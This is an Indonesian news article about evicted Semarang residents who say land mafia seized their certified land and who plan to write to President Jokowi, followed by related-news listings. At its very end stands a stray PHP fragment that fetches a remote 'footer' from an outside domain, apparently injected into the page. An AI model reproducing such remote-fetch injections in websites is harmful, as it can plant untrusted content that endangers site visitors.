Puluhan Warga Kebonsari Bangunharjo Semarang Korban Pengusuran Mencari Keadilan Mengirimkan Surat Kepada Presiden Jokowi

Minggu, 16 Januari 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info| JATENG & DIY

SEMARANG – Puluhan warga berkumpul di lokasi sengketa berkepanjangan lahan warga dijalan Pelampitan Kelurahan Bangunharjo kota semarang hingga saat ini terus bergulir. Bahkan, sebanyak 15 KK yang masih menuntut kejelasan sertifikat lahan milik mereka yang dirampas dan diduga dilakukan penuh rekayasa oleh sejumlah oknum mafia tanah. Minggu (16/1/2022)

Menurut koordinator warga yang tergusur rumah dan tanahnya Ayub Nur CH. menjelaskan “kami menempati tanah tersebut sudah puluhan tahun, telah tinggal hingga beranak cucu dilahan yang dirampok paksa tersebut. Bahkan kami rutin membayar pajak dan mempunyai surat tanah yang sah.

Baca Juga:  Tinjau Langsung, Plt Bupati Pastikan Bantuan Beras Tahan 3 Tepat Sasaran

Dari tahun 1898 kami menempati rumah tanah dari kakek nenek moyang kami di sini yang sudah ratusan tahun , setelah itu diambillah sebagai tempat Yayasan dan yayasan tersebut tersangkut G30S PKI secara tidak langsung diambil alih oleh pemerintah ,dalam hal ini ditempati oleh TNI setelah itu secara tidak kita ketahui semuanya tau-tau beralih nama dengan nama bapak suwindro atau bapak Sanyoto yang memiliki hotel di sini, sebelum dia mengajukan kasus dan memberi somasi kepada warga dibelilah rumah-rumah yang ada di sini yang jumlah keseluruhan sebetulnya 27 kk tapi yang di beli hanya 12 rumah. Teryata Itu adalah siasat mereka dengan memberi somasi bahwa kampung kami di sini dinyatakan sebagai mess karyawan padahal itu adalah siasat mereka, perlu diketahui kami mempunyai sertifikat,PBB, surat tidak sengketa dan lain-lainya dan tanah tersebut sudah ratusan tahun kami tempati, kenapa kami yang sudah menempati ratusan tahun di usir dari tempat tinggal kami dengan seanaknya saja tanpa ada kompensasi ganti rugi dan lain-lain, jelas Ayub Nur CH.

Baca Juga:  Bupati Musa Ahmad Pimpin Rapat Koordinasi Perangkat Daerah Kabupaten Lampung Tengah

“Kasus pengusuran rumah tanah kami terjadi tahun 2016 dan pada saat pengusuran itu tidak ada sama sekali pejabat ataupun anggota DPR memberikan perhatian kepada kami, saat ini kami menuntut keadilan kembali dan akan melayangkan surat permohonan keadilan kepada Bapak Jokowi sebagai Presiden Republik Indonesia, tegas Ayub Nur CH.

Baca Juga:  Siap Amankan Malam Takbiran, Polda Bali Kerahkan 1.578 Personel

Sementara itu kuasa hukum warga Risky yoga pramana ,SH kepada awak media mengatakan “Kami ini kan sebagai warga masyarakat yang memang kita sebagai pemilik legalitas yang sah yang diakui oleh negara setidaknya harus bisa dipertanggungjawabkan secara hukum yang berlaku, memang dari tahun 98 sertifikat hak milik dari klien kami ini sudah ada, Jelas Risky.

(Aset-JK)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang
Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak
Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terkait

Jumat, 4 Oktober 2024 - 20:42 WIB

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang

Jumat, 4 Oktober 2024 - 20:06 WIB

Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>